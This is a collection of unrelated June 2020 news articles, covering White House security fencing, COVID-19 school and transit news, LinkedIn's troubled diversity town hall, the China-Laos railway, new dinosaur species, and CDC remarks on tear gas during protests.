"You're an incumbent who's declaring 'law and order' and the split-screen shows that there is serious unrest and upheaval, and then there are the images of security barriers going up around buildings that many Americans have always had free access to," Madden said. "That change can oftentimes really shape perceptions in a challenging way."

But other Trump advisers argue that the president stands to benefit politically once the unrest passes since he has positioned himself as a law-and-order commander in chief who is protecting the public's security and safety.

Sen. Lindsey Graham, R-S.C., who spoke with the president on Wednesday night, said, "It's probably necessary for the moment in which we live. It will pass."

Past presidents have resisted security suggestions at and around the White House that could stoke fears that the government was under threat.

Following the 1941 attack on Pearl Harbor, President Franklin D. Roosevelt balked at efforts to fortify the White House, which at the time had been open to casual visitors strolling the grounds during the day, according to historian Doris Kearns Goodwin.

Fearful about a bombing attack, the Secret Service wanted Roosevelt to cover skylights with sand, to camouflage the White House, to paint the windows black, to stand up machine-gun emplacements and to build a bomb shelter, Goodwin said.

"FDR rejected most of these recommendations, though he finally agreed, 'with not a little annoyance,' to the construction of a shelter in the Treasury Department," Goodwin said in an email.

Scott Berg, a professor at George Mason University and the author of "Grand Avenues," a history of the creation of Washington, said Pierre L'Enfant designed the nation's capital as "a stage for the enactment of America's experiment in federalism and democracy." Berg said the connection between this ceremonial and performative space and the nation's people risks being lost.

"D.C. is basically a backdrop for acts of American theater, and L'Enfant was brilliant in that respect," Berg said. "When we put ourselves on the Mall, when we put ourselves on Lafayette Square, when we put ourselves on Pennsylvania Avenue - we're really operating from our sense of other people having done this before us."

Berke concurred, saying the image of the White House connotes government coexisting within urban civic life, but now resembles a fortress.

"There are impenetrable walls, like what you'd put around a prison," she said. "We all want to believe in the postcard vision of the White House, that you as a citizen can walk past it and see it, that its lawn and greenery and elegance and spaciousness extend to you as a citizen, that the president lives there but he is a citizen just like the rest of us. All of that is somehow denied by building a wall around it."

- - -

The Washington Post's Fenit Nirappil contributed to this report.
A primary school in Melbourne has closed after a student tested positive for COVID-19.

The case was discovered at Newbury Primary School in Craigieburn.

Authorities shut the school on Friday while contact tracing gets underway.

The positive case comes a two weeks after students returned to school for in-class learning.

The case was discovered at Newbury Primary School in Craigieburn

The student was at the school late last week without any symptoms, Victoria's Chief Health Officer Brett Sutton said.

He said the pupil developed symptoms over the weekend and was tested for the virus on Wednesday.

Prof Sutton said the virus was likely picked up within the community.

'They have almost certainly been picked up in the community, they happen to be attending school but this is not transmission within the school and the risk of transmission in the school remains very low.

A spokeswoman for the Department of Education spokeswoman said the school will be thoroughly cleaned before it reopens next week.

The student was at the school late last week without any symptoms, Victoria's Chief Health Officer Brett Sutton said

'Further investigations are being undertaken this morning by DHHS, the school and DET to identify whether any staff or students are required to self-isolate, and to determine any further actions required to reduce the risk of infection.'

Three new cases have been identified in Victoria but two others are currently in hotel quarantine.

The inner north and west of Melbourne, from Keilor Downs through Fawkner to Craigieburn, have been identified as a hotspot for the virus.

Prof Sutton urged people in those areas to get tested if they have symptoms.
(Newser)  President Trump says he will support any candidate "good or bad" against Republican Sen. Lisa Murkowski when she is up for re-election in 2022. The president fired back Thursday after the Alaska senator agreed with former defense chief Jim Mattis' criticism of the president and said she "was struggling" with the question of whether she could vote for him in November, the Hill reports. "Few people know where theyll be in two years from now, but I do, in the Great State of Alaska (which I love) campaigning against Senator Lisa Murkowski," the president tweeted. "Get any candidate ready, good or bad, I dont care, Im endorsing. If you have a pulse, Im with you!"

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Murkowski said Thursday that the words from Mattiswho slammed Trump's response to the George Floyd protests and accused him of trying to divide the nationwere "true and honest and necessary and overdue." Alaska's other senator, GOP Sen. Dan Sullivan, didn't directly criticize Trump but said he doesn't agree with using the military against protesters, the Anchorage Daily News reports. "I have deep respect for Jim Mattis and his service to our nation. I agree with all calls for unity at this time, and have been emphasizing the same," Sullivan said, adding that he supports Trump and wants him "to be successful in unifying our nation and healing our wounds." In 2016, Murkowski and Sullivan both said they wouldn't vote for Trump after the release of a tape in which he boasted about grabbing women. (Read more Lisa Murkowski stories.)
Researcher Judith Lind has studied how staff at fertility clinics view the assessments that childless couples and women undergo in order to access assisted reproduction.

It emerges in the interviews that the assessment of the potential parents is based on the child's future welfare and on the responsible use of public resources.

In Sweden, childless couples and single women can access publicly funded fertility treatment. But the legislation differs between different couples.

In those cases where the couple requires sperm or eggs from a donor, the legislation demands a special assessment of their suitability as parents.

Fertility treatment is expensive, and public resources are intended to enable treatment for everyone, regardless of income. At the same time, my study shows how clinic staff argues that access to treatment should be limited specifically because public resources are used." Judith Lind, Senior Lecturer, Department of Thematic Studies, Linkoping University

Judith Lind has previously investigated parent suitability in other contexts, such as adoption. She is interested in how parenthood ideals and the notion of the welfare of the child are expressed in assessments of potential parents.

The new study, "Child welfare assessments and the regulation of access to publicly funded fertility treatment", has been published in the journal Reproductive Biomedicine & Society Online.

Assessment focusing on what's best for the child

In bioethics research, there is a discussion about whether it is reasonable to limit access to fertility treatment with reference to the welfare of the future child, or if everyone should have the right to fertility treatment.

Judith Lind wanted to study how clinic staff reason about this ethical issue and how they justify and legitimize that people who want fertility treatments are assessed.

Interviews were conducted with 64 employees in nine focus groups at four of the six publicly funded fertility clinic in Sweden.

The results show that what was considered most important was the future well-being of the child and the responsible use of public resources.

In every focus group, the child's welfare was cited as an argument for why a psychosocial assessment was conducted. The employees at the clinics said that it was their duty to prioritize the best interests of the child, and thus to refuse treatment for the couples and women who they considered unsuitable as parents.

However, many questioned why the psychosocial assessment is only conducted when donated gametes are used. One doctor argued that the rights of the child should also "apply to children born with people's own gametes".

Use of public resources

In their work with fertility treatments, the clinics are guided by an assessment of the future welfare of the child as well as by the responsible use of public resources.

Taxpayers' money, they argue, should not be used for something that in the end does not turn out well. For instance, if one believes that the future parents would not be able to take care of or provide for a child.

That public resources are used for the treatment justifies, according to the employees, that those who are to undergo it have a psychosocial assessment.

The purpose of the assessment is to prevent treatment that results in problems for the child and, by extension, for society.

The aim of assisted reproduction is, for the people who work with it, not children, but functioning families. Some of the employees explained that their job is about creating "children with good lives", or "happy children and super-happy families".

"This argument has not received sufficient attention in previous research. With the study I hope to contribute to a discussion of assisted reproduction and the priorities that guide the treatment", says Judith Lind.

The study is part of the larger research project "The welfare of the child, the reproductive rights of adults and the responsibility of the welfare state", which aims to investigate how Swedish legislation and fertility clinics manage the ethical dilemmas associated with the legislation of access to assisted reproduction.
Returning to the office wont be business as usual. Workers are likely to be spaced farther apart and perks such as communal coffee pots are likely to go away, at least for the foreseeable future. Companies also will need to create new work-from-home standards and other policies.
Alamy

LinkedIn prides itself on being the highly professional, troll-free antithesis to all other social-media platforms. But on Wednesday, the companys own internal meetings looked more like a dumpster fire Facebook comments section than anything on the companys famously civil website.

Earlier this week, the career networking website announced that it would hold a virtual global town hall to address the nationwide social unrest sparked by the Minneapolis police killing of George Floyd. The meeting was billed as an event to discuss racial inequality by reflecting on our own biases, practicing allyship, and intentionally driving equitable actions.

Well spend most of our time together in open discussion, so please consider bringing questions or experiences youd like to share, read the invitation email to staff.

LinkedIn employees followed those instructions precisely. The results were a disaster.

Throughout the meeting, which was conducted by videochat and featured a sidebar where employees could leave comments, several anonymous staffers shared opinions echoing the detractors and skeptics of the Black Lives Matter movement. Several of these commenters criticized LinkedIns position on diversity hiring, equating such practices with racism against white people.

As a non-minority, all this talk makes me feel like I am supposed to feel guilty of my skin color. I feel like I should let someone less qualified fill my position. Is that ok? It appears that I am a prisoner of my birth, one commenter wrote. This is not what Martin Luther King Jr. would have wanted for anyone.

I believe giving any racial group privilege over others in a zero sum game would not get any support by others. Any thoughts on hurting others while giving privileges with the rosy name called diversity? read another employee comment.

Georges killers need to be tried according to law. But how can hiring more minorities into manager roles and C-suite positions address cop racism? I thought hiring at LinkedIn is based on merit alone.

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Other LinkedIn staff went further, complaining in the comments that police violence against white people was undercovered, and attempting to pivot the conversation to black-on-black crime instead.

Blacks kill blacks at 50 times the rate that whites kill blacks. Usually it is the result of gang violence in the inner city. Where is the outcry? one commenter said, echoing a common anti-BLM talking point deflecting from concerns about state violence against the black community.

This tragic incident that happened to George Floyd happened exactly the same to Tony Timpa (white man) by Dallas cops in 2016, and no one seemed to care then, another employee wrote.There were no out cry for justice in his case. Why? Should we not want justice for all?

Do we all understand that racial prejudice is about EVERYONE and can go any direction? wrote another. Racial prejudice is rampant in tech companies. As a white person, Ive experienced it from people of other races too.

The comments were immediately met with outrage from numerous other LinkedIn staffers, who called the comments disturbing and racist.

One employee described the Q&A as a dumpster fire, while another called it an epic fail. A staffer who identified as black said the comments had absolutely destroyed me.

I do not feel safe working at this company in a place where I was already uncomfortable with the treatment Ive received on my OWN team since I started, wrote one employee. This is so sad.

There are some extremely offensive comments here that go completely against the spirit of what this is intended for, another added. I am COMPLETELY shocked by some of these racist comments from my fellow employees. I am thoroughly disgusted!

The racism at LinkedIn really came out in the Q&A section! a third staffer quipped.

According to one employee who attended the call, LinkedIn asked staff not to share details of the meeting with anyone outside the company.

After The Daily Beast reached out for comment, CEO Ryan Roslansky shared a note addressing employee complaints about the comments, which he said were appalling and offensive. He said that the presenters were not able to see some of the comments in real time, and acknowledged that granting anonymity on the question form allowed some staff to add offensive comments without accountability.

We require members on our platform to have real identities and we will not allow anonymous questions in all hands meetings in the future, he said. I said it in the Company Group yesterday, and I will say it again, we are not and will not be a company or platform where racism or hateful speech is allowed.

Roslansky added: By raising voices, democratizing access to learning and jobs, and tackling the systems of economic injustice, we can and will make meaningful change. For any of this to happen, we have to start with our culture and commit to working through hard things together. We have to anchor on our values, including having open, honest and constructive conversations and respecting that relationships matter.

Over the past several years, a number of major tech companies have been roiled by internal dissension over diversity policies and initiatives. In 2017, Google fired an employee who argued against the companys diversity hiring initiatives by circulating a memo claiming women are biologically less likely to succeed in tech. Big Tech has struggled to diversify its workforce, with Microsoft, Apple, and Google all reporting that black technical employees are still far underrepresented at the companies compared to national percentages.

LinkedIn itself has continued to struggle with boosting its inclusivity. The companys 2019 workforce diversity report admitted that weve discovered that we need to evolve the way we hire at scale and think innovatively to address specific hiring needs. For example, hiring more leaders from underrepresented groups in the U.S., including more Black and Latino leaders, is a critical priority for us. According to the report, LinkedIn had just 3.5% black and 5.9% Latino staffing compared to a white (47.5%) and Asian (40.3%) employees.

One anonymous staffer in Wednesdays meeting seemed to best sum up the event.

I think the anonymous Q&A platform may have been a mistake lmao.

Read more at The Daily Beast.

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Source: Xinhua| 2020-06-05 21:01:24|Editor: huaxia

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VIENTIANE, June 5 (Xinhua) -- A senior Lao official has spoken highly of the progress achieved in the ongoing construction of the China-Laos railway.

Bounthong Chitmany, a politburo member of the Lao People's Revolutionary Party's central committee, on Thursday visited China Railway No.2 Engineering Group (CREC-2)'s main construction sites in Lao capital Vientiane and was briefed on the project.

On behalf of the Lao government, Bounthong, also Lao deputy prime minister, noted that he was satisfied to see the high-quality and high-speed progress of the railway construction.

The senior Lao official vowed that the Lao side will, as always, provide support and convenience for the construction of the railway to ensure the the project will be completed as scheduled.

According to the Laos-China Railway Co., Ltd. (LCRC), a joint venture based in Vientiane, in charge of the railway's construction and operation, the railway offline civil engineering has entered the final stage and the construction of the online track, the communication and signal, the M&E (mechanical and electrical) engineering and the station building have been fully commenced.

The progress of the project meets the timetable of opening to traffic in December 2021, the LCRC general manager Xiao Qianwen said on Thursday.

Participating Chinese enterprises have fulfilled their social responsibilities during construction, actively carrying out cultural exchanges, donating for disaster-hit local communities and flooded areas, and assisting localities with anti-epidemic supplies, according to Xiao.

The China-Laos railway is a strategic docking project between the China-proposed Belt and Road Initiative and Laos' strategy to convert from a landlocked country to a land-linked hub.

The 414-km railway, with 198-km tunnels and 62-km bridges, will run from Boten border gate in northern Laos, bordering China, to Vientiane with an operating speed of 160 km per hour.

The electrified passenger and cargo railway is built with the full application of Chinese management and technical standards.

The project started in December 2016 and is scheduled to be completed and open to traffic in December 2021. Enditem
For Immediate Release

Chicago, IL  June 4, 2020  Stocks in this weeks article are Perdoceo Education Corp. PRDO, Systemax Inc. SYX, Orion Group Holdings, Inc. ORN, Eagle Bancorp Montana, Inc. EBMT and Teekay Tankers Ltd. TNK.

Bet on These Top Stocks with Stellar Net Profit Margins

Investors eye businesses that generate profits on a regular basis. In order to gauge the extent of profits, there is no better metric than the net profit margin.

A higher net margin underlines a companys efficiency to translate sales into actual profits. Moreover, this metric lends an insight into how well a company is run and the headwinds weighing on it.

Net Profit Margin = Net profit/Sales * 100.

In simple terms, net profit is the amount a company retains after deducting all costs, interest, depreciation, taxes and other expenses. In fact, net profit margin can turn out to be a potent point of reference to gauge the strength of a companys operations and its cost-control measures.

Also, higher net profit is essential for rewarding stakeholders. Further, strength in the metric not only attracts investors but also draws well-skilled employees who eventually enhance a business value.

Moreover, a higher net profit margin compared with its peers provides the company a competitive edge.

Pros and Cons

Net profit margin helps investors gain clarity on a companys business model in terms of pricing policy, cost structure and manufacturing efficiency. Hence, a strong net profit margin is preferred by all classes of investors.

However, net profit margin as an investment criterion has its own share of pitfalls. The metric varies widely from industry to industry. While net income is a key metric for investment measurement in traditional industries, it is not that important for technology companies.

In addition, the difference in accounting treatment of various items  especially non-cash expenses like depreciation and stock-based compensation  makes comparison a daunting task.

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Furthermore, for companies preferring to grow with debt instead of equity funding, higher interest expenses usually weigh on net profit. In such cases, the measure is rendered ineffective, while analyzing a companys performance.

The Winning Strategy

A healthy net profit margin and solid EPS growth are the two most sought-after elements in a business model.

Apart from these, we have added a few criteria to ensure maximum returns from this strategy.

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The irony is that what attracts so many people to Second City  myself included, he continued, is that it gives a public platform to a group of people to speak truth to power and use the undeniable power of comedy to force a recognition of injustice. Over the years, Second City has never shied away from talking about oppression. On stage, we have always been on the right side of the issue and of that, I am very proud. On stage, we dealt with the absurdity of the equal opportunity narrative that society uses to oppress BIPOC. We dealt with the double standard that rationalizes violence against people of color. We dealt with the cynicism of the liberal pact with capitalism. Offstage, its been a different story.
(JTA) - When she's not busy with her four kids, Ellie Balouka can usually be found in her kitchen at home in Paris, where she makes colorful salads, creative stuffed baguettes and poke bowls that have become the rave among kosher-keeping locals.

The 33-year-old American-born chef has become so popular since starting a kosher catering business last year that now she's working to open her own kosher restaurant in the French capital, where she lives with her husband and kids.

But earlier this month she switched gears after learning that kosher-keeping Jewish doctors and nurses treating coronavirus patients were going empty-handed while their colleagues enjoyed free food from local non-kosher restaurants.

"They say, 'We get deliveries every day, but we can't eat a single thing,'" said Balouka, who grew up in Columbus, Ohio, and moved to Paris about 14 years ago.

She decided to change that.

Since Passover, Balouka has cooked and delivered some 60 meals to medical workers at hospitals in and around Paris. She has raised approximately 1,500 euros, or $1,625, and has contributed an additional 500 euros, or $541, of her own money to cover the cost of the meals.

"The meals are free for them so they can go to work and say 'Today I don't have to prepare my lunch. I don't have to even think. I know somebody is going to bring me a meal,'" she said.

France has been on lockdown since mid-March and is among the countries in Europe that have been hardest hit by the coronavirus, with more than 22,000 deaths. Hospitals there have been scrambling to find enough ventilators and beds for COVID-19 patients.

Balouka delivers the meals herself, driving as far as 45 minutes outside Paris to get the food to doctors and nurses.

For the hospital deliveries, she has been focusing on meals that are "simple and delicious" and don't require reheating.

She has made baguettes filled with smoked salmon, watermelon radish, red onions and caper dill mayonnaise, and other breads featuring an array of grilled vegetables - peppers, zucchini, portobello mushrooms and eggplant - with goat cheese and pesto. She also has brought in salmon and rice poke bowls topped with avocado edamame, mango and sweet potatoes.

Balouka says the doctors and nurses who receive her food have been "shocked" by the gesture and "really impressed."

Prior to starting her catering business Balouka, who identifies as a member of the Orthodox Chabad-Lubavitch movement, used to lead shopping tours, taking American visitors to trendy boutiques throughout the city. But she stopped working after having her third child because of scheduling issues.

A year and a half ago, she decided to give cooking a try and started making salads and poke bowls in her home. The demand grew quickly, from a few orders a week to 30 a day, and a month later she opened her own catering company, By Ella. Balouka is now in the process of opening her own restaurant, which will be located in the city's Opera neighborhood, between the 9th and 2nd arrondissements. It will serve kosher "homestyle food," including sandwiches and salads.

Though Balouka never attended culinary school, she cooked from an early age alongside her mother, a caterer.

"I was basically always in the kitchen with her since she was always at work, so I kind of just learned by watching," she said.

Balouka hopes that more restaurants and caterers that make up the thriving kosher food scene in Paris join her efforts.

"For me, it's so normal to help out," she said. "It's not something that I think is amazing. I think it's something that needs to be done."
COVID-19: Amid rising coronavirus cases, no new schemes for a year, says Finance Ministry

India

oi-Ajay Joseph Raj P

New Delhi, June 05: Union Finance Ministry on Friday said that the government would not start any new scheme for a year as a weeks-long lockdown to contain the coronavirus spread played havoc with India's economic growth and finances.

According to reports, Ministries have been asked to stop sending requests for new schemes to the finance ministry. Spending would only be allowed in the Prime Minister Garib Kalyan Yojana and measures announced under the Atmanirbhar Bharat policy to boost domestic business.

Coronavirus: Study reveals young COVID-19 patients are subjected to risk of stroke

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

The government has announced a cumulative stimulus package of Rs 20 lakh crore, which is nearly 10 per cent of the country's gross domestic product (GDP) to provide relief to various segments of the coronavirus-hit economy.

On May 28, Finance Minister Nirmala Sitharaman reviewed the state of the economy at the meeting of the Financial Stability and Development Council (FSDC), in view of disruptions caused by the COVID-19 pandemic. This was the first meeting of the FSDC, the apex body of sectoral regulators headed by the finance minister, since the coronavirus outbreak.

SC admits plea seeking cap on fees to be charged for COVID-19 patients

The 22nd meeting of the council, held via video conferencing, assumes a greater significance considering that the economy is expected to contract by 5 per cent by some estimates amid the virus crisis. The FSDC, which also comprises RBI Governor and other financial sector regulators, underlined the need to continue with measures to address the liquidity and capital requirements of the financial sector.
EDWARDSVILLE  The Madison County Health Department was scrambling Friday to complete an application for a multi-million dollar coronavirus-related grant.

The grant application had to be filed by 5 p.m. Friday, according to Madison County Health Department Director Toni Corona who discussed the opportunity at Fridays Health Department Committee meeting.

Its a big chunk of money and we have to be really swift to get this, she said.

The money is coming from the federal government and passing through the Illinois Department of Public Health. Corona said if the county is successful, the grant could pay for a number of things including hiring contact tracers, security and facility improvements for the department located in the countys Wood River facility.

The grant is for one year, with a possible extension.

Much of the Fridays discussion was on the need for contact tracers, or people who contact anyone who has possibly had exposure to an infectious disease. While it has received a great deal of publicity because of COVID-19, contract tracing is a standard practice in public health departments for a number of diseases, ranging from food poisoning and influenza to sexually transmitted diseases.

Normally contract tracing is handled by health department nurses. Because of the widespread need for such tracers during the COVID-19 pandemic, most of the departments employees have been working almost exclusively with the virus.

Corona said she wants to hire people who can take over the contact tracing work and other COVID-related jobs, allowing health department staff to return to their regular jobs.

We are trying desperately to begin bringing our services that we normally do back online, she said. One hundred percent of my staff has been involved and remain involved in COVID capacity.

There are a lot of things we need to do, that we need to get going on, Corona added.

Other possible uses of the grant money includes increasing security at the departments office and redesigning the floor space to improve the movement of workers and clients.

Corona also said the grant could be used for some costs associated with the countys new mobile COVID-19 testing capacity. That program recently made its debut in Alton, where several hundred people were tested. Testing is planed at other locations next week.

There was some discussion about what would happen with new employees when the grants ran out. Corona said they would have to consider it at that time.

The initial grant would be good from June 1 to May 31,2021.

The committee also approved a temporary amendment to the food sanitation ordinance, waiving late fees for restaurants from March through July.

Wed like to pass this today to give these people some guidance and relief, committee Chairman Ray Wesley, R-Godfrey, said.

The restaurant and hospitality industry has been hit especially hard by the coronavirus pandemic. The change will have to be approved by the full Madison County Board.
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Linkedin Moch. Fiqih Prawira Adjie (The Jakarta Post) Jakarta  Fri, June 5, 2020 15:03 595 fc6853813033f564188675f8bdc6a05f 1 City MRT,MRT-Jakarta,transition-period,anies-baswedan,Jakarta-administration,public-transportation,PSBB,COVID-19 Free

MRT Jakarta resumes normal operation starting Friday as the city administration has announced the start of the transition period for the gradual easing of its large-scale social restrictions (PSBB).

The operational hours for the service would return to normal, PT MRT Jakarta president director William Sabandar said. Indonesias first mass rapid transit service will operate between 5 a.m. and 9 p.m. on weekdays, with 10 minutes headway between the trains, and between 6 a.m. and 8 p.m. on the weekend, with 20 minutes headway.

However, MRT Jakarta corporate secretary head Muhammad Kamaludin added that in order to comply with the health protocols to prevent further spread of COVID-19, the operator would still limit the number of passengers to 50 percent of normal capacity, meaning 62 to 67 passengers in one car, or 390 on the whole train.

Anies Baswedan announced on Thursday that the city administration allowed public transportation to resume operation but limited the number of passengers to 50 percent of normal capacity during the transition phase to maintain physical distance between passengers.

MRT Jakarta will still apply the health protocol that has been implemented so far, such as body temperature checks, the requirement to wear a face mask and educating passengers on maintaining physical distance, regularly washing hands and avoiding starting or engaging in conversation on the train and station platforms, Kamaluddin wrote in the statement issued on Thursday.

MRT Jakarta has only operated six of its stations since April 27 to support the PSBB in the capital city, in addition to cutting operational hours to between 6 a.m. and 6 p.m, which led to a 90 percent drop in ridership.

Anies also announced that the city-owned bus service TransJakarta would also resume normal operation after having operated only 13 of its 15 main corridors and having cut passenger capacity and operation hours during the previous PSBB period.

The Commuter Line service also increased its operating hours to 4 a.m. to 8 p.m. starting Friday in line with Jakartas PSBB transitional period. It is a longer service than during the previous PSBB period in which the company, PT Kereta Commuter Indonesia (KCI) ran a 6 a.m. to 8 p.m. service. KCI also increased the number of trips to 892 a day from the previous 784, the company's vice president of communications, Anne Purba, said in a statement.
Metro Manila (CNN Philippines, June 5)  Greenpeace Philippines is recommending that the employers continue embracing flexible work arrangements to keep the air quality in Metro Manila from declining, its campaigner said Friday.

These include a remote work setup and a staggered work shift, Rhea Jane Pescador-Mallari told CNN Philippines' New Day.

The environment group also suggests a people-centric urban design, which could encourage people to walk, ride a bike and use other alternatives to driving a car.

"There's a need for the immediate green and just recovery measures. So we recommend recovery efforts that prioritize clean energy sources, clean transportation option and enhanced micro mobility around cities," Pescador-Mallari said.

On June 3, Greenpeace released a report showing that air pollution levels have been on a steady increase since mid-May, with the government easing restrictions on travel and other economic activities.

This was after the "the metro's overall air quality improved under a strict quarantine policy for two months, with Quezon City and Manila seeing the highest air pollution level reductions among the major cities in the metropolis, Greenpeace said.

Pescador-Mallari said they started noting a drop in Metro Manilas air quality when it entered modified enhanced community quarantine on May 16.

She then warned that since the metropolis entered a more relaxed general community quarantine on June 1, a return to smog and pollution level prior to the enhanced community quarantine may not be far behind.
Fossils in the State Museum of Pennsylvania collection for the second time in a little over two months have led to the naming of a new species of dinosaur.

Navajoceratops sullivani, a new species of the Ceratopsidae group of horned dinosaurs, was announced today by the Badlands Dinosaur Museum at the Dickinson Museum Center in North Dakota.

Dineobellator notohesperis, a new species in the Dromaeosaurid group of upright, feathered dinosaurs related to velociraptor, was announced by the State Museum of Pennsylvania in late March.

Navajoceratops sullivani, with a common name of Navajo horned face, was named for the Native American Navajo people who live in the area of New Mexico where the fossil was unearthed and for Robert Sullivan, former curator of paleontology at the State Museum and leader of the 2002 expedition that found the fossil.

The parietal frill of new species Navajoceratops sullivani. Photo courtesy of the Badlands Dinosaur Museum.

In addition to being a newly named dinosaur, Navajoceratops  along with another newly named dinosaur, Terminocavis sealeyi  fills a gap in the fossil record and provides evidence for a evolutionary split in the horned dinosaurs as well as significant changes in the way paleontologists view the whole group of long-frilled horned dinosaurs.

Navajoceratops walked the Earth about 75 million years ago, while Terminocavis was a more recent species about 74 million years ago. They fit into an evolutionary chain leading from Utahceratops to Anchiceratops over the course of 4.5 million years.

The new research by Denver Fowler, curator of the Badlands Dinosaur Museum, and Elizabeth Freedman Fowler, assistant professor of biology at Dickinson State University, focused on relatives of the New Mexico ceratopsid Pentaceratops (five horned face), which has a distinctive deep notch or embayment on the back border of the frill, and a pair of spikes at the center of the frill that turn outwards like the wings of a butterfly.

The parietal frill of Navajoceratops as originally found in New Mexico. Photo courtesy of the Badlands Dinosaur Museum.

Their work noted the changes over millions of year in the central notch in the ceratopsids frill.

Adult Navajoceratops was 20-25 feet long, stood 5-6 feet at the shoulder topped by another 3-4 feet of upright frill and weighed about 5 tons, according to Steven Jasinski, curator of paleontology and geology at the State Museum of Pennsylvania.

It was a common herbivore that traveled in small herds of a dozen or two, browsing on low shrubs, ferns and other plants.

Robert Sullivan, former curator of paleontology at the State Museum of Pennsylvania, and Dennis Fowler in the fossil-rich badlands of New Mexico. Photo by Warwick Fowler.

Jasinski, Sullivan and James Nikas collected the Dineobellator notohesperis fossils over the course of four field seasons beginning in 2008  Jasinskis first summer of field work as a graduate student at the University of Pennsylvania  in the San Juan Basin of New Mexico.

Jasinski led the work to describe the new species based on fossils in the collection at the State Museum of Pennsylvania and was lead author on the paper that was published in March in Scientific Reports.

The name, Dineobellator notohesperis, means Navajo warrior from the Southwest.

In this reconstruction by Sergey Krasovskiy, Dineobellator notohesperis are shown in the foreground, with Ojoceratops off the right nearing the water source, a sauropod dinosaur Alamosaurus in the background being followed by a tyrannosaurid (southern cousin of Tyrannosaurus rex), and a oviraptorian caenagnathid Ojoraptorsaurus and a hadrosaurid hiding in the trees far in the background.

Dineobellator, as well as its Asian cousin velociraptor, were part of a group of dinosaurs known as the dromaeosaurids, which are commonly referred to as raptors because of movies like Jurassic Park and Jurassic World.

But Dineobellator stood about 3.5 feet at the hip and was 6 to 7 feet long, much smaller than its Hollywood counterparts. It was a fast and agile predator, adapted to rapid pursuit of prey in an open savannah-type environment, like todays cheetah. It was covered in feathers and had a flexible tail that acted as a counterbalance as it dodged and weaved in pursuit of prey.

Jasinski noted it was a really, really good predator in open territory running down its prey.

Features of the animals forelimbs, including enlarged areas of the claws, suggest the dinosaur could strongly flex its arms and hands, an ability that may have been useful for holding on to prey.

It was one of the last raptor species and lived about 1 million years before the sudden mass extinction event that ended the age of dinosaurs about 66 million years ago.

Bones of Dineobellator in the ground when they were first discovered in New Mexico, with a hand pointing out the manus or hand claw. The bones are now in the collection of the State Museum of Pennsylvania.

He noted that one of the Dineobellator fossils at the State Museum, a hand of the animal, shows a puncture wound caused by the tooth of another dinosaur of the same species. He suggested that the wound likely arose in the day-to-day life as a member of a small pack of the animals rather than from a full-on fight with another of its kind.

Hes had hoped to collect more specimens of the species on this years expedition to New Mexico, which would have been taking place now if not for the coronavirus pandemic. Another expedition might come this fall or next year.

Although the fossils are being collected for the State Museum in the American West rather than in Pennsylvania, where the fossil record is less complete, they are a fair representation of the dinosaurs that once roamed what today is the Keystone State.

Jasinski explained, We had their cousins living here at the same time in a similar ecosystem.

Steven Jasinski, curator of paleontology and geology at the State Museum of Pennsylvania, working in the field in the Badlands of New Mexico.

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Contact Marcus Schneck at mschneck@pennlive.com.
A video showing Tik Tok star and Bharatiya Janata Party leader Sonali Phogat slapping a Market Committee official from Hisar and later beating him with a slipper for reportedly making derogatory remarks against her, went viral on social media on Friday.



In the video, the BJP leader from Adampur in Hisar is seen slapping the official and later hitting him with her slipper in full public view.

Phogat and others present with her are not seen wearing masks in the video, even as the Haryana government has made it mandatory to wear masks in public in the wake of coronavirus pandemic.

Sharing the video on his Twitter handle, Congress chief spokesperson Randeep Singh Surjewala said, Exploits of the leaders of the Khattar government. The BJP leader from Adampur in Hisar is beating the Market Committee official like animals.

Is doing government job a crime? Will (Chief Minister) Khattar take action? Will the media still remain silent? he tweeted.

SEE: Sonali Phogat beats up market committee official

The BJP leader, however, told media persons in Hisar that she had gone to meet the officials of the district Market Committee on Friday pertaining to some grievance of farmers.

She said an official was showing her the place in the Balsamand area of Hisar district where a shed could come up for the convenience of farmers when he started passing indecent and derogatory remarks against her.

Phogat claimed the official also made some comments against another woman official of the Market Committee and a woman minister in the Manohar Lal Khattar-led cabinet.

When he was showing me the place where the shed was to come up, he first made a mention of the community to which I belong. He also talked about another woman official and a woman minister who also come from the same community as mine, she said, adding the official then made indecent and derogatory remarks against her.

Asked why she decided to take law into her hands, Phogat hit back, What right does he (official) have to talk to a woman like this? If he would not be taught a lesson, he will not let any woman come out tomorrow.

In the video, the official beaten by Phogat can be seen saying he did not say anything wrong.

Do I work to listen to such kind of abuses from people like you? Don't I have right to a dignified life? He used wrong language and talked in an ill-mannered way. Write a report against him, the BJP leader is seen telling other officials and her supporters present there.

Superintendent of Police (Hisar) Ganga Ram Punia told the media that they have received a complaint from the Market Committee official in which he has alleged that he was beaten by Phogat.

The official has alleged that he was beaten and a government official has been obstructed from performing his duty, Punia said.

We will take whatever action is required as per law, Punia said. Notably, Phogat had unsuccessfully contested the 2019 state assembly polls from Adampur in Hisar district, a seat which was retained by senior Congress leader Kuldeep Bishnoi.

Days before the assembly polls in October, she had courted controversy when she asked a group of people if they were from Pakistan when they did not chant 'Bharat Mata ki Jai', at a rally in the constituency.
On Thursday, Director Robert Redfield, the head of the US Centers for Disease Control and Prevention (CDC), said that crowd-control chemicals that police officers use to control violent protests cause coughing which leads to the coronavirus spreading, as reported by The New York Post.

Working on an alternative

Redfield said that he would bring the matter up for discussion with the White House task force. He also expressed his concerns to the Appropriations Committee that the protests over George Floyd's death will be the initial spark that will set off a massive surge of coronavirus cases. High pre-protests infections spreads have been observed in several cities where protesters held demonstrations.

Redfield said, "Definitely coughing can spread respiratory viruses, including COVID-19." The statement comes as he agreed with Representative Mark Pocan that chemical crowd-control result in people coughing.

The CDC head said that Pocan made an important point with his statements and that he would be bringing it up in the next task force meeting.

According to ProPublica, Danielle Outlaw, the police commissioner of Philadelphia said that her officers had no choice but to use tear gas to control the protests in the city after the crowd started hurling rocks at law enforcement and refused to break up.

Outlaw added that the tear gas that Philadelphia officers used was a nonchemical variant that produced a white smoke which minimized the amount of irritant that was exposed to the protesters while still maintaining a clear and visible sight to deter the crowd. "A means to safely defuse a volatile and dangerous situation," is what she called it.

Also Read: Trump May Assume Control on Minneapolis Chaos Amid George Floyd Protests

Dangers of tear gas

Several experts, however, stated that tear gas is dangerous and has been found to produce long-term health concerns that could potentially cause unintended targets to suffer, including those who were staying inside their residences.

The situation would have been worrying by itself, but coupled with the coronavirus pandemic, the widespread of tear gas could aggravate the infection even more and cause a massive surge of new cases and fatalities, experts believe.

Tear gas can cause immediate pain along with watering eyes and burning throats, and it could also cause complications to a person's lungs and degrade their immune system against the coronavirus. It also forces people to cough, which spreads the virus even further, as reported by The New York Times.

